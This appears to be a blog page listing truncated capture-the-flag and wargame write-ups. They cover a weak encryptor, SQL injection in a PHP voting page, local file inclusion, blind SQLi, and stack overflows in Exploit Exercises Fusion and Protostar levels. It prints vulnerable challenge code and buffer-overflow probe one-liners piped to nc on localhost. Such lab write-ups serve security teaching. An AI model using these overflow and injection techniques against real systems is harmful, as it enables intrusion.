In this level we are asked to break a code and decrypt msg002.enc. We are given the encryptor code without the key:
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { if (argc != 3) { printf("USAGE: %s INPUT OUTPUT\n", argv[0]); return 0; } FILE* input = fopen(argv[1], "rb"); FILE* output = fopen(argv[2], "wb"); if (!input || !output) { printf("Error\n"); return 0; } char k[] = "CENSORED"; char c, p, t = 0; int i = 0; while ((p = fgetc(input)) !
In this level we are presented with some logos we can vote.
If we look at the source code we can see an interesting comment:
... <!-- TODO: remove index.phps --> ... We can grab the source code:
<?php include 'db.php'; session_start(); if (!isset($_SESSION['login'])) { $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6); } $login = $_SESSION['login']; if (isset($_POST['submit'])) { if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) die('Hacking attempt!'); $id = $_POST['id']; $vote = (int)$_POST['vote']; if ($vote > 5 || $vote < 1) $vote = 1; $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')"); $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id"); echo '<p><b>Thank you!
In this level we are presented with a typical Snake game.
I spent a couple of hours deofuscating the javascript code until I was capable of submitting any score. Nice but useless. I also found out that I could fake the IP associated to the score using the X-Forwarded-For header. That was pretty much it until the CTF was about to finish when I was given the hint: “../”. I could use it to locate a LFI vulnerability that was affecting the index.
In this [level]() we were presented with an online shop:
The task name was “AngryBird” and this was very relevant to solve the challange! It actually comes down to two parts:
Finding a hidden admin area Exploiting a blind SQLi to get credentials Finding the hidden admin area We were given the following description:
Some web-developers still host their sites on Windows platform, and think that it is secure enough
In this level we have to bypass a bunch of protections:
The stack based vulnerability is easy to find. It is in the base64_decode() function. It takes the output buffer length as an argument, but the it overwrites it with a new value based on the input buffer length. So we are going to be able to control how many bytes we want to write in the output buffer:
*output_length = input_length / 4 * 3; Now in order to send a valid request we need to provide a password the server generates when it loads but then it reuses for every connection.
Fusion level03 In this level we have to bypass ASLR and NX again:
Before going into the stack overflow details, lets get a valid request to the server. When we connect to the server we are presented with a token that is later used to calculate the MAC code of our request.
HMAC(EVP_sha1(), token, strlen(token), gRequest, gRequestSize, result, &len); The application is calculating the MAC of whatever is stored in “gRequest” (token+JSON request) using SHA1 as the hashing algorithm, “token” as the encryption key and store the MAC in the memory pointed by “result”.
Fusion level02 This level has the following protections:
And the code looks like:
#include "../common/common.c" #define XORSZ 32 void cipher(unsigned char *blah, size_t len) { static int keyed; static unsigned int keybuf[XORSZ]; int blocks; unsigned int *blahi, j; if(keyed == 0) { int fd; fd = open("/dev/urandom", O_RDONLY); if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE); close(fd); keyed = 1; } blahi = (unsigned int *)(blah); blocks = (len / 4); if(len & 3) blocks += 1; for(j = 0; j < blocks; j++) { blahi[j] ^= keybuf[j % XORSZ]; } } void encrypt_file() { // http://thedailywtf.
Fusion level01 This level implements stack/heap/mmap ASLR but the stack is still executable:
The code provided is exactly the same but there is no info leak this time.
We start off overwriting EIP to crash the application and taking a look:
python -c 'print "GET " + "A"*139 + "DDDD" + " HTTP/1.1" + "\x90"*16 + "B"*80'| nc localhost 20001 Monitoring with gdb we get:
(gdb) attach 1521 Attaching to program: /opt/fusion/bin/level01, process 1521 Reading symbols from /lib/i386-linux-gnu/libc.
Fusion level00 This level has no protections at all:
The code looks like:
#include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) !
Final0 The application is expecting a username and then returns it in Upper case
$ nc localhost 2995 alvaro No such user ALVARO The buffer is 512 bytes long but we need to look for the EIP overwrite offset since the compiler can change the buffer size to align it or other nasty reasons. We start trying to segfault the program till we get it with:
echo `python -c 'print "A"*532 + "DDDD"'` | nc localhost 2995 We can verify it with gdb and the core dump: